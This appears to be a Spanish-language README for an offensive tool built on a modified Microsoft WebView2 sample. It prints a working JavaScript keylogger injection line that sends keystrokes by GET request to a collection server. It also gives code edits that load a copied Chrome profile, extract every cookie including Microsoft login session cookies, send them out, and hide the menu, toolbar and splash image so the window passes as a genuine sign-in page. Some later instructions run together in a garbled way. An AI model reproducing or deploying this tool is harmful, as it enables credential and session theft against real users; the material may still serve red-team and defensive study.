
Inyecta un keylogger en JavaScript en páginas WebView2 para capturar pulsaciones de teclas y exfiltrar cookies de sesiones de autenticación de Microsoft mediante solicitudes HTTP GET.
Por favor, lea esta entrada de blog para obtener más información.
Este código es una versión modificada del Código WebView2 de Microsoft. El código actual puede limpiarse y mejorarse mucho.
Probado en Windows 10 y 11.
Cuando se ejecuta el binario, se carga https://office.com/login. Se inyecta un keylogger de JavaScript en cada página y las pulsaciones de teclas se envían a http://127.0.0.1:8080. Además, cuando el usuario se autentica exitosamente, las cookies de login.microsoftonline.com se codifican en base64 y se envían a http://127.0.0.1:8080 mediante una solicitud HTTP GET.
Si desea modificar el JavaScript, el código que debe cambiarse se muestra a continuación en la línea 1096 de AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 permite iniciar con una Carpeta de Datos de Usuario (UDF) existente en lugar de crear una nueva. La UDF contiene todas las contraseñas, sesiones, marcadores, etc. La UDF de Chrome se encuentra en C:\Users\<username>\AppData\Local\Google\Chrome\User Data. Simplemente podemos indicarle a WebView2 que inicie la instancia usando este perfil y, al iniciar, extraer todas las cookies y transferirlas al servidor del atacante.
El único inconveniente es que WebView2 busca una carpeta llamada EBWebView en lugar de User Data (no estoy seguro por qué). Copie la carpeta User Data y renómbrela a EBWebView.
En la línea 41 de app.cpp:
std::wstring userDataFolder(L""); por std::wstring userDataFolder(L"C:\\Path\\To\\Temp");EBWebView desde la cual WebView2 leerá.En la línea 40 de ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); por GetCookiesHelper(L"");Cuando se invoca GetCookiesHelper sin proporcionar ningún sitio web, extraerá todas las cookies.
Nota: Esto no funcionará con la aplicación actual si hay una gran cantidad de cookies, porque la aplicación las envía mediante una solicitud GET que tiene un límite de longitud.
Si desea realizar modificaciones en el binario, encontrará información sobre las funciones importantes a continuación.
GetUri() contiene la URL que se carga al ejecutar el binario.SendCookies() contiene la dirección IP y el puerto donde se envían las cookies.CallCookieFunction() espera hasta que la URL comience con https://www.office.com/?auth= y llama a ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")POPUP en "".IDS_APP_TITLE e IDC_WEBVIEW2APISAMPLE. Este es el nombre de la aplicación en la barra de título.IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE e IDI_SMALL. Estos apuntan a un archivo que es el icono de esta aplicación..icoitemHeight debe establecerse en 0 para eliminar el menú superior. Esto ya está resuelto en este código.LoadImage() debe comentarse. Esto oculta la imagen de presentación azul. Esto ya está resuelto en este código.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); cambie el valor del último parámetro a true. Esto oculta la barra de herramientas. Esto ya está resuelto en este código.